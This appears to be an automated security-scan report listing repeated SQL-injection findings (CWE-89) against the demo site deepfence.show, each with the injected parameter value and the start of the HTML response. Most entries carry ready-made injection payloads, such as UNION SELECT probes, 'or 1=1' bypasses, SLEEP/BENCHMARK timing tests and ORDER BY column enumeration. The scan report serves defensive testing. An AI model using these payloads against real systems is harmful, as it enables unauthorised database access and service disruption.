Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #455
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@
deepfence.ioORDER BY 17#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #456
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io RANDOMBLOB(500000000/2)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #457
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #458
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #459
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 2--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #460Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 30--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #461
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioadmin" or 1=1#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #462
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #463
Scan SQL InjectionSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io 1 AND (SELECT * FROM Users) = 1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #464
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io 1)) or benchmark(10000000,MD5(1))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #465
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #466
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #467
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #468
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io' or ''-'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #469
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 28#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
